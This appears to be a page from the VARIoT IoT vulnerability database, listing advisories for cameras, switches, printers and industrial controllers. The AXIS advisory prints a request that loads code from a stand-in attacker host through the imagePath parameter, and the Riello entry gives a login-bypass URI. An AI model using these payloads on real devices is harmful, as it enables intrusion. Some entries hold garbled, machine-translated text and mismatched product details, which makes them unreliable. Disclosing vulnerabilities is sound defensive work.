VARIoT IoT vulnerabilities database
| VAR-201704-0285 | CVE-2015-8258 |
AXIS Communications In product firmware root Vulnerability to modify any file as
Related entries in the VARIoT exploits database: VAR-E-201703-0055 |
CVSS V2: 7.8 CVSS V3: 7.5 Severity: HIGH |
AXIS Communications products with firmware through 5.80.x allow remote attackers to modify arbitrary files as root via vectors involving Open Script Editor, aka a "resource injection vulnerability.". AXISCommunications is a webcam. A cross-site scripting vulnerability exists in AXIS communications, allowing an attacker to exploit a vulnerability to inject arbitrary web scripts or HTML. Axis Communications is a network camera product of Axis, Sweden. 0RWELLL4BS
**********
security advisory
olsa-2015-8258
PGP: 79A6CCC0
@orwelllabs
Advisory Information
====================
- Title: ImagePath Resource Injection/Open script editor
- Vendor: AXIS Communications
- Research and Advisory: Orwelllabs
- Class: Improper Input Validation [CWE-20]
- CVE Name: CVE-2015-8258
- Affected Versions: Firmwares versions <lt 5.80.x
- IoT Attack Surface: Device Administrative Interface/Authentication/Autho
rization
- OWASP IoTTop10: I1, I2
Technical Details
=================
The variable "imagePath=" (that is prone to XSS in a large range of
products) also can be used to resource injection intents. If inserted a URL
in this variable will be made an GET request to this URL, so this an
interesting point to request malicious codes from the attacker machine, and
of course, the possibilities are vast (including hook the browser).
An attacker sends the following URL for the current Web user interface of
the camera:
http://{AXISVULNHOST}/view.shtml?imagepath=http://www.3vilh0
st.com/evilcode.html
This request will be processed normally and will return the status code 200
(OK):
[REQUEST]
GET /view.shtml?imagepath=http://www.3vilh0st.com/evilcode.html HTTP/1.1
Host: {axisvulnhost}
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101
Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Digest username="Winst0n", realm="AXIS_XXXXXXXXXXX",
nonce="00978cY6s4g@Sadd1b11a9A6ed955e1b5ce9eb",
uri="/view.shtml?imagepath=http://www.3vilh0st.com/evilcode.html",
response="5xxxxxxxxxxxxxxxxxxxxxx", qop=auth,
nc=0000002b, cnonce="00rw3ll4bs0rw3lll4bs"
Connection: keep-alive
GET /evilcode.html HTTP/1.1
Host: www.3vilh0st.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101
Firefox/41.0
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://{axisvulnhost}/view.shtml?imagepath=http://www.3vilh0
st.com/evilcode.html
Connection: keep-alive
The server response can be seen below (with the clipping of the affected
HTML code snippets - just look for "http://www.3vilh0st.com/evilcode.html"):
<table border="0" cellpadding="3" cellspacing="3">
<tr>
<td id="videoStreamTable">
<script language="JavaScript">
<!--
video('http://www.3vilh0st.com/evilcode.html');
// -->
</script>
</td>
</tr>
</table>
[..SNIP..]
function listVideoSources()
{
var formInt = document.listFormInt;
var formExt = document.listFormExt;
var formCrop = document.listFormCrop;
var presetForm = document.listFormPreset;
var form = document.WizardForm
var currentPath = 'http://www.3vilh0st.com/evilcode.html';
var imageSource;
[..SNIP..]
var reload = false;
reload |= (other != null && other.search("seq=yes") >= 0);
reload |= (other != null && other.search("streamprofile=") >= 0);
reload |= ((other == null || (other != null && other.search("streamprofile=
;)(r") == -1)) && ('' != ""));
reload |= (imagePath != 'http://www.3vilh0st.com/evilcode.html');
[..SNIP..]
<script SRC="/incl/activeX.js?id=69"></script>
</head>
<body class="bodyBg" topmargin="0" leftmargin="15" marginwidth="0"
marginheight="0" onLoad="DrawTB('no', 'http://www.3vilh0st.com/evilcode.html',
'1', '0', 'no', 'no', 'true', getStreamProfileNbr());" onResize="">
<script language="JavaScript">
[..SNIP..]
// Draw the scale buttons
var currentResolution = 0
var width = 0
var height = 0
var imagepath = "http://www.3vilh0st.com/evilcode.html"
var resStart = imagepath.indexOf("resolution=")
if (resStart != -1) {
var resStop = imagepath.indexOf("&", resStart)
[..SNIP..]
=================== view.shtml snips =====================
447 function zoom(size)
448 {
449 var url = document.URL;
450
451 if (url.indexOf("?") == -1) {
452 url += "F?size=" + size
453 } else if (url.indexOf("size=") == -1) {
454 url += "&size=" + size
455 } else {
456 var searchStr = "size=<!--#echo var="size"
option="encoding:javascript" -->"
457 var replaceStr = "size=" + size
458 var re = new RegExp(searchStr , "g")
459 url = url.replace(re, replaceStr)
460 }
461
462 document.location = url;
463 }
464
465 var aNewImagePath;
466
467 function reloadPage()
468 {
469 document.location = aNewImagePath;
470 }
471
[ SNIP ]
567 aNewImagePath = '/view/view.shtml?id=<!--#echo
var="ssi_request_id" option="encoding:url" -->&imagePath=' +
escape(imagePath) + size;
568 if (other != null)
569 aNewImagePath += other;
570 <!--#if expr="$ptzpresets = yes" -->
571 /* append preset parameters so that preset postion is selected in
drop down list after reload */
572 if (presetName != '')
573 aNewImagePath += "&gotopresetname=" + escape(presetName);
574 else if (gotopresetname != '')
575 aNewImagePath += "&gotopresetname=" + escape(gotopresetname);
576
577 if( newCamera != '')
578 aNewImagePath += "&camera=" + escape(newCamera);
---*---
Some legitimate resources can be very interesting to cybercriminals with
your hansowares/botnets/bitcoinminer/backdoors/malwares etc. In this case
there are some resources, like the "Open Script Editor". By this resource
the user can edit any file in the operation system with root privileges,
because everything (in the most part of IoT devices) runs with root
privileges, this is other dangerous point to keep in mind.
> Open Script Editor path: 'System Options' -> 'Advanced' -> 'Scripting'
Well, one can say that this feature is restricted to the administrator of
the camera, and this would be true if customers were forced to change the
default password during setup phase with a strong password policy, since
change "pass" to "pass123" does not solve the problem. The aggravating
factor is that there are thousands of products available on the internet,
running with default credentials.
Vendor Information, Solutions and Workarounds
+++++++++++++++++++++++++++++++++++++++++++++
According to the manufacturer, the resource injection vulnerability was
fixed in firmware 5.60, but we identified that the problem still occurred
in 5.80.x versions of various product models. Check for updates on the
manufacturer's website.
About Open Script Editor,It was considered that in order to have access to
this feature, it is necessary to be authenticated as an admin, but if there
is no policy that forces the client to change the password during the
product setup (ease vs. security) and also requires a password complexity,
having an administrative credential to abuse the functionality is not
exactly an impediment (e.g: botnets that bring embedded in the code a
relation of default credentials for that type of device)
Credits
=======
These vulnerabilities has been discovered and published by Orwelllabs.
Legal Notices
=============
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise. We accept no
responsibility for any damage caused by the use or misuse of this
information.
About Orwelllabs
================
https://www.exploit-db.com/author/?a=8225
https://packetstormsecurity.com/files/author/12322/
| VAR-201703-0892 | CVE-2017-3881 |
Cisco IOS and Cisco IOS XE of Cisco Cluster Management Protocol Input code vulnerability in processing code
Related entries in the VARIoT exploits database: VAR-E-201703-0008, VAR-E-201703-0009 |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: CRITICAL |
A vulnerability in the Cisco Cluster Management Protocol (CMP) processing code in Cisco IOS and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause a reload of an affected device or remotely execute code with elevated privileges. The Cluster Management Protocol utilizes Telnet internally as a signaling and command protocol between cluster members. The vulnerability is due to the combination of two factors: (1) the failure to restrict the use of CMP-specific Telnet options only to internal, local communications between cluster members and instead accept and process such options over any Telnet connection to an affected device; and (2) the incorrect processing of malformed CMP-specific Telnet options. An attacker could exploit this vulnerability by sending malformed CMP-specific Telnet options while establishing a Telnet session with an affected Cisco device configured to accept Telnet connections. An exploit could allow an attacker to execute arbitrary code and obtain full control of the device or cause a reload of the affected device. This affects Catalyst switches, Embedded Service 2020 switches, Enhanced Layer 2 EtherSwitch Service Module, Enhanced Layer 2/3 EtherSwitch Service Module, Gigabit Ethernet Switch Module (CGESM) for HP, IE Industrial Ethernet switches, ME 4924-10GE switch, RF Gateway 10, and SM-X Layer 2/3 EtherSwitch Service Module. Cisco Bug IDs: CSCvd48893. Vendors have confirmed this vulnerability Bug ID CSCvd48893 It is released as.Information is obtained, information is altered, and service operation is disrupted (DoS) An attack may be carried out. Multiple Rockwell Automation products are prone to a remote code-execution vulnerability.
Successful exploits will result in the execution of arbitrary code with elevated privileges. Failed exploit attempts may result in a denial-of-service condition.
The following products are vulnerable:
Allen-Bradley Stratix 5400 Industrial Ethernet Switches versions 15.2(5)EA.fc4 and prior.
Allen-Bradley Stratix 5410 Industrial Distribution Switches versions 15.2(5)EA.fc4 and prior.
Allen-Bradley Stratix 5700 Industrial Managed Ethernet Switches versions 15.2(5)EA.fc4 and prior.
Allen-Bradley ArmorStratix 5700 Industrial Managed Ethernet Switches versions 15.2(5)EA.fc4 and prior.
Allen-Bradley Stratix 8300 Modular Managed Industrial Ethernet Switches versions 15.2(4a)EA5 and prior. Cisco Catalyst Switches are all switch products of Cisco (Cisco).
Cisco will release software updates that address this vulnerability. There are no workarounds that address this vulnerability.
This advisory is available at the following link:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp ["https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp"]
-----BEGIN PGP SIGNATURE-----
iQKBBAEBAgBrBQJYzAjfZBxDaXNjbyBTeXN0ZW1zIFByb2R1Y3QgU2VjdXJpdHkg
SW5jaWRlbnQgUmVzcG9uc2UgVGVhbSAoQ2lzY28gUFNJUlQga2V5IDIwMTYtMjAx
NykgPHBzaXJ0QGNpc2NvLmNvbT4ACgkQrz2APcQAkHm3jRAAzLR1b6oQbXCkv0yQ
GpiGyo0l97V74L+99IvzJzibQrNr/7oFNVc0Sm0SWtGJwhBdIFWKKp7tpfxLFUYw
QpgpmOQHfu70kajINv5hshpKReIT2lnUhmAiK0VQzxp8QY/3WboSTjEYLOTmFHHh
xb3dNWmvGYiT9tuSvQ70AkMnl2EfU+P+pkucjcku4Vi5Jri7BIIIPjz1by16Juh+
tIB5elmrFOFF/WGRERLo/a3anNlnoszoJxu+m57uS8CYICTnqJKeDEinpm64j0IB
7dWi1qqDTx9973zsmcqUZqeY9kSwierDJW5cii49GrOFOHUeJ9eWCOogEnE1+U4G
iz7cJHsQ4qqBF39PBTMlxtY6xjhgGJDkRf3dzJBONH9EfoTpQOFMlO9220/2wlMe
SquIU+SY31pW/xHcRfD8NoALZQ5EqrOkbbRXPGe/LwSUcXiFSBL0iMaE/jOPIRRs
q6c7lbQr2kay0hTUMovhCvkVUlIC4eJAjwES3vau0EynKlumoYUb2Z7kSAq9QRqU
vjHX1Iq+wrh+pM/+GFpx12yJzaDtIrBQSNtB/Jf8p0kNqlja/4Z90DDtwTCTaalR
7hGFyGWo3X3dPBxEL4OcASAaf2uC/J0ozprd0xCS8rsiMfn3rBYWtE6taK88njda
6UdaqFK+zmUBK8rQV0Lu6mOFpOo=
=Ql/1
-----END PGP SIGNATURE-----
| VAR-201801-0229 | CVE-2017-2741 | HP PageWide Printer and OfficeJet Pro Access control vulnerability in printer firmware |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: CRITICAL |
A potential security vulnerability has been identified with HP PageWide Printers, HP OfficeJet Pro Printers, with firmware before 1708D. This vulnerability could potentially be exploited to execute arbitrary code. HP PageWide Printer and OfficeJet Pro The printer firmware contains an access control vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. The HP Officejet 8500A is a print/copy/scan/fax MFP from HP
| VAR-201703-0733 | CVE-2017-5623 | OnePlus 3 and 3T Run on device OxygenOS Vulnerabilities related to authorization, permissions, and access control |
CVSS V2: 7.2 CVSS V3: 6.6 Severity: MEDIUM |
An issue was discovered in OxygenOS before 4.1.0 on OnePlus 3 and 3T devices. The attacker can change the bootmode of the device by issuing the 'fastboot oem boot_mode {rf/wlan/ftm/normal} command' in contradiction to the threat model of Android where the bootloader MUST NOT allow any security-sensitive operation to be run unless the bootloader is unlocked. OnePlus 3 and 3T Run on device OxygenOS Contains vulnerabilities related to authorization, permissions, and access control.Information is obtained, information is altered, and service operation is disrupted (DoS) An attack may be carried out. OnePlus OxygenOS is prone to a local security-bypass vulnerability.
An attacker may exploit this issue to bypass certain security restrictions and perform unauthorized actions.
Versions prior to OnePlus OxygenOS 4.1.0 are vulnerable
| VAR-201703-1342 | CVE-2017-6864 | Siemens RUGGEDCOM ROX I Port 10000/TCP Integration Web Server cross-site scripting vulnerability |
CVSS V2: 3.5 CVSS V3: 5.4 Severity: MEDIUM |
The integrated web server in Siemens RUGGEDCOM ROX I (all versions) at port 10000/TCP could allow an authenticated user to perform stored Cross-Site Scripting attacks. SiemensRuggedCom's ROX-based firewall devices are used to connect devices in harsh environments such as substations, traffic management chassis, and more. Siemens RUGGEDCOM ROX I is prone to the following security vulnerabilities: :
1. A HTML-injection vulnerability
2. An information-disclosure vulnerability
4. An authorization-bypass vulnerability
5. A cross-site request-forgery vulnerability
An attacker may leverage these issues to execute HTML and script code in the browser of an unsuspecting user in the context of the affected site, disclose sensitive information, perform certain unauthorized actions actions, gain unauthorized access, or bypass certain security restrictions
| VAR-201705-3973 | CVE-2017-6865 | plural Siemens Service disruption in products (DoS) Vulnerabilities |
CVSS V2: 6.1 CVSS V3: 6.5 Severity: MEDIUM |
A vulnerability has been identified in Primary Setup Tool (PST) (All versions < V4.2 HF1), SIMATIC Automation Tool (All versions < V3.0), SIMATIC NET PC-Software (All versions < V14 SP1), SIMATIC PCS 7 V8.1 (All versions), SIMATIC PCS 7 V8.2 (All versions < V8.2 SP1), SIMATIC STEP 7 (TIA Portal) V13 (All versions < V13 SP2), SIMATIC STEP 7 (TIA Portal) V14 (All versions < V14 SP1), SIMATIC STEP 7 V5.X (All versions < V5.6), SIMATIC WinAC RTX 2010 SP2 (All versions), SIMATIC WinAC RTX F 2010 SP2 (All versions), SIMATIC WinCC (TIA Portal) V13 (All versions < V13 SP2), SIMATIC WinCC (TIA Portal) V14 (All versions < V14 SP1), SIMATIC WinCC V7.2 and prior (All versions), SIMATIC WinCC V7.3 (All versions < V7.3 Update 15), SIMATIC WinCC V7.4 (All versions < V7.4 SP1 Upd1), SIMATIC WinCC flexible 2008 (All versions < flexible 2008 SP5), SINAUT ST7CC (All versions installed in conjunction with SIMATIC WinCC < V7.3 Update 15), SINEMA Server (All versions < V14), SINUMERIK 808D Programming Tool (All versions < V4.7 SP4 HF2), SMART PC Access (All versions < V2.3), STEP 7 - Micro/WIN SMART (All versions < V2.3), Security Configuration Tool (SCT) (All versions < V5.0). Specially crafted PROFINET DCP broadcast packets sent to the affected products on a local Ethernet segment (Layer 2) could cause a Denial-of-Service condition of some services. The services require manual restart to recover. SIMATIC WinCC (TIA Portal), SIMATIC STEP 7, SMART PC Access, SIMATIC Automation Tool, etc. are all industrial automation products from Siemens AG. A number of Siemens industrial products have a denial of service vulnerability.
Attackers can exploit this issue to crash the affected device, denying service to legitimate users. Siemens SIMATIC WinCC, etc. Siemens SIMATIC WinCC is an automated data acquisition and monitoring (SCADA) system; SIMATIC PCS 7 is a distributed process control system using WinCC
| VAR-201708-1505 | CVE-2017-6866 | Siemens XHQ Server permission vulnerability |
CVSS V2: 4.0 CVSS V3: 6.5 Severity: MEDIUM |
A vulnerability was discovered in Siemens XHQ server 4 and 5 (4 before V4.7.1.3 and 5 before V5.0.0.2) that could allow an authenticated low-privileged remote user to gain read access to data in the XHQ solution exceeding his configured permission level. Siemens XHQ The server contains a permission vulnerability.Information may be obtained. XHQ Production Operations Intelligence is Siemens Energy's flagship solution and is widely deployed in the world's largest oil and gas and chemical companies. A privilege elevation vulnerability exists in Siemens XHQ 4 and XHQ 5.
Successfully exploiting this issue may allow an attacker to bypass certain security restrictions and perform unauthorized actions.
The following versions are affected:
Siemens XHQ all versions prior to 4.7.1.3
Siemens XHQ all versions prior to 5.0.0.2
| VAR-201705-3974 | CVE-2017-6867 | plural Siemens SIMATIC Vulnerability that can crash services in products |
CVSS V2: 4.0 CVSS V3: 4.9 Severity: MEDIUM |
A vulnerability was discovered in Siemens SIMATIC WinCC (V7.3 before Upd 11 and V7.4 before SP1), SIMATIC WinCC Runtime Professional (V13 before SP2 and V14 before SP1), SIMATIC WinCC (TIA Portal) Professional (V13 before SP2 and V14 before SP1) that could allow an authenticated, remote attacker who is member of the "administrators" group to crash services by sending specially crafted messages to the DCOM interface. Siemens SIMATIC WinCC and SIMATIC WinCC Runtime Professional are industrial automation products from Siemens AG. SIMATIC WinCC is a monitoring and data acquisition (SCADA) system. SIMATIC WinCC Runtime Professional is the control and monitoring of the operator's visual runtime platform machines and equipment. Multiple SIMATIC WinCC Products are prone to a denial-of-service vulnerability.
The following products are vulnerable:
SIMATIC WinCC 7.3 versions prior to 7.3 Update 11
SIMATIC WinCC 7.4 versions prior to 7.4 SP1
SIMATIC WinCC Runtime Professional 13 versions prior to 13 SP2
SIMATIC WinCC Runtime Professional 14 versions prior to 14 SP1
SIMATIC WinCC (TIA Portal) Professional 13 versions prior to 13 SP2
SIMATIC WinCC (TIA Portal) Professional 14 versions prior to 14 SP1. Siemens SIMATIC WinCC, etc. Siemens SIMATIC WinCC is an automated data acquisition and monitoring (SCADA) system; SIMATIC PCS 7 is a distributed process control system using WinCC. Security vulnerabilities exist in several Siemens products
| VAR-201707-1137 | CVE-2017-6868 | Siemens SIMATIC CP 44x-1 RNA In RNA Series module CP Vulnerability to perform administrator operations on |
CVSS V2: 6.8 CVSS V3: 8.1 Severity: HIGH |
An Improper Authentication issue was discovered in Siemens SIMATIC CP 44x-1 RNA, all versions prior to 1.4.1. An unauthenticated remote attacker may be able to perform administrative actions on the Communication Process (CP) of the RNA series module, if network access to Port 102/TCP is available and the configuration file for the CP is stored on the RNA's CPU. The SiemensSIMATICCP44x-1RNA is a communications processor that integrates security functions such as firewall, VPN, security protocol, data encryption, etc., providing network connectivity and secure communication for the s7-1500 controller. An unauthorized operating vulnerability exists in the pre-1.4.1 version of the Siemens SIMATICCP44x-1RNA module. Siemens SIMATIC CP 44x-1 Redundant is prone to an authentication-bypass vulnerability.
An attacker can exploit this issue to bypass the authentication mechanism and perform unauthorized actions. This may aid in further attacks
| VAR-201708-1507 | CVE-2017-6870 | Siemens SIMATIC WinCC Sm@rtClient for Android Man-in-the-middle attack vulnerability |
CVSS V2: 5.8 CVSS V3: 7.4 Severity: HIGH |
A vulnerability was discovered in Siemens SIMATIC WinCC Sm@rtClient for Android (All versions before V1.0.2.2). The existing TLS protocol implementation could allow an attacker to read and modify data within a TLS session while performing a Man-in-the-Middle (MitM) attack. Siemens SIMATIC WinCC Sm@rtClient for Android is a client program on Android. Siemens SIMATIC is an automation software in a single engineering environment. A security-bypass vulnerability
2. A local authentication-bypass vulnerability
An attacker may leverage these issues to disclose sensitive information, perform certain unauthorized actions by conducting a man-in-the-middle attack, gain unauthorized access
| VAR-201708-1508 | CVE-2017-6871 | Siemens SIMATIC WinCC Sm@rtClient for Android Authentication Bypass Vulnerability |
CVSS V2: 4.6 CVSS V3: 5.4 Severity: MEDIUM |
A vulnerability was discovered in Siemens SIMATIC WinCC Sm@rtClient for Android (All versions before V1.0.2.2) and SIMATIC WinCC Sm@rtClient for Android Lite (All versions before V1.0.2.2). An attacker with physical access to an unlocked mobile device, that has the affected app running, could bypass the app's authentication mechanism under certain conditions. Android for Siemens SIMATIC WinCC Sm@rtClient and Sm@rtClient Lite Contains an authentication vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Siemens SIMATIC WinCC Sm@rtClient for Android is a client program on Android. Siemens SIMATIC is an automation software in a single engineering environment. A security-bypass vulnerability
2. A local authentication-bypass vulnerability
An attacker may leverage these issues to disclose sensitive information, perform certain unauthorized actions by conducting a man-in-the-middle attack, gain unauthorized access
| VAR-201708-1509 | CVE-2017-6872 | Siemens OZW672 and OZW772 Vulnerabilities related to authorization, permissions, and access control |
CVSS V2: 6.4 CVSS V3: 6.5 Severity: MEDIUM |
A vulnerability was discovered in Siemens OZW672 (all versions) and OZW772 (all versions) that could allow an attacker with access to port 21/tcp to access or alter historical measurement data stored on the device. Siemens OZW672 and OZW772 Contains vulnerabilities related to authorization, permissions, and access control.Information may be obtained and information may be altered. Both Siemens OZW672 and OZW772 are building controller products from Siemens AG. There are data read and write vulnerabilities in Siemens OZW672 and OZW772.
An attacker can exploit these issues to bypass the authentication mechanism and perform unauthorized actions. This may aid in further attacks. A security vulnerability exists in Siemens OZW672 and OZW772 devices
| VAR-201703-1378 | No CVE | Dahua Technology Camera Products Unauthorized Access Vulnerability |
CVSS V2: 10.0 CVSS V3: - Severity: HIGH |
DH-IPC-HDW23A0RN-ZS, DH-IPC-HFW13A0SN-W, DHI-HCVR51A04HE-S3, etc. are various camera products of Dahua Technology. Unauthorized access vulnerability exists in Dahua Technology's camera products, allowing an attacker to access the user database of the camera product without administrator rights, extracting the user name and hash password, and directly logging in to the camera using the username and hash password. Get the relevant permissions for this camera.
| VAR-201704-1633 | No CVE | Ubiquiti Networking product multiple command injection vulnerability |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
UbiquitiNetworksTS-8-PRO and others are products developed by Ubiquiti Networks. The TS-8-PRO is a switch. There are multiple command injection vulnerabilities in the UbiquitiNetworking product. The vulnerability is caused by the failure to validate the data submitted by the user. An attacker can exploit a vulnerability to inject arbitrary commands into the target application context and can also cause a denial of service. Ubiquiti Networking Products is prone to multiple command-injection vulnerabilities because it fails to properly sanitize user-supplied input. Failed exploit attempts will result in a denial-of-service condition
| VAR-201708-1506 | CVE-2017-6869 | Siemens ViewPort for Web Office Portal Remote code execution vulnerability |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: CRITICAL |
A vulnerability was discovered in Siemens ViewPort for Web Office Portal before revision number 1453 that could allow an unauthenticated remote user to upload arbitrary code and execute it with the permissions of the operating-system user running the web server by sending specially crafted network packets to port 443/TCP or port 80/TCP. Siemens ViewPort for Web Office Portal Contains vulnerabilities related to authorization, permissions, and access control.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The Web Office Portal provides authorized users to retrieve current data from the Control Center solution Spectrum PowerTM in a read-only manner
| VAR-201708-1510 | CVE-2017-6873 | Siemens OZW672 and OZW772 Cryptographic vulnerability |
CVSS V2: 5.8 CVSS V3: 7.4 Severity: HIGH |
A vulnerability was discovered in Siemens OZW672 (all versions) and OZW772 (all versions) that could allow an attacker to read and manipulate data in TLS sessions while performing a man-in-the-middle (MITM) attack on the integrated web server on port 443/tcp. Siemens OZW672 and OZW772 Contains a cryptographic vulnerability.Information may be obtained and information may be altered. Both Siemens OZW672 and OZW772 are building controller products from Siemens AG. There is a man-in-the-middle attack vulnerability in Siemens OZW672 and OZW772. Multiple Siemens OZW672 and OZW772 are prone to multiple authentication-bypass vulnerabilities.
An attacker can exploit these issues to bypass the authentication mechanism and perform unauthorized actions. This may aid in further attacks
| VAR-201703-0896 | CVE-2017-3868 | Cisco UCS Director of Web -Based scripting interface cross-site scripting vulnerability |
CVSS V2: 4.3 CVSS V3: 6.1 Severity: MEDIUM |
A vulnerability in the web-based management interface of Cisco UCS Director could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the web-based management interface of an affected device. More Information: CSCvc44344. Known Affected Releases: 6.0(0.0).
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
This issue is being tracked by Cisco Bug ID CSCvc44344. Cisco UCS Director (formerly known as Cisco Cloupia) is a set of converged infrastructure management solutions from Cisco. The solution supports users to manage computing power, network services, storage, and virtual machines from a single management console to deploy and release IT services more quickly and at low cost
| VAR-201907-1126 | CVE-2017-6900 | riello-ups of netman 204 Certificate and password management vulnerability in firmware |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: CRITICAL |
An issue was discovered in Riello NetMan 204 14-2 and 15-2. The issue is with the login script and wrongpass Python script used for authentication. When calling wrongpass, the variables $VAL0 and $VAL1 should be enclosed in quotes to prevent the potential for Bash command injection. Further to this, VAL0 and VAL1 should be sanitised to ensure they do not contain malicious characters. Passing it the username of '-' will cause it to time out and log the user in because of poor error handling. This will log the attacker in as an administrator where the telnet / ssh services can be enabled, and the credentials for local users can be reset. Also, login.cgi accepts the username as a GET parameter, so login can be achieved by browsing to the /cgi-bin/login.cgi?username=-%20a URI. riello-ups of netman 204 The firmware contains vulnerabilities regarding certificate and password management.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. RIELLO UPS NetMan is a network adapter produced by Italy RIELLO UPS company. A security vulnerability exists in Riello NetMan 204 versions 14-2 and 15-2
| VAR-201712-0128 | CVE-2017-3191 | D-Link DIR-130 and DIR-330 are vulnerable to authentication bypass and do not protect credentials |
CVSS V2: 5.0 CVSS V3: 9.8 Severity: CRITICAL |
D-Link DIR-130 firmware version 1.23 and DIR-330 firmware version 1.12 are vulnerable to authentication bypass of the remote login page. A remote attacker that can access the remote management login page can manipulate the POST request in such a manner as to access some administrator-only pages such as tools_admin.asp without credentials. Insufficient authentication information protection (CWE-522) - CVE-2017-3192 tools_admin.asp The page contains the password for the administrator account Base64 Included in encoded form. CVE-2017-3191 It is possible for a remote third party to obtain authentication information for an administrator account on the device by using a vulnerability to avoid authentication.There is a possibility that an administrator account authentication information on the device will be obtained by a remote third party and the management function will be operated. D-LinkDIR-130 and DIR-330 are both D-Link wireless router products
| VAR-201703-0885 | CVE-2017-3872 | Cisco Unified Communications Manager of Web -Based scripting interface cross-site scripting vulnerability |
CVSS V2: 4.3 CVSS V3: 6.1 Severity: MEDIUM |
A cross-site scripting (XSS) filter bypass vulnerability in the web-based management interface of Cisco Unified Communications Manager could allow an unauthenticated, remote attacker to conduct XSS attacks against a user of an affected device. More Information: CSCvc21620. Known Affected Releases: 10.5(2.14076.1). Known Fixed Releases: 12.0(0.98000.641) 12.0(0.98000.500) 12.0(0.98000.219).
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
This issue is being tracked by Cisco Bug ID CSCvc21620. This component provides a scalable, distributed and highly available enterprise IP telephony call processing solution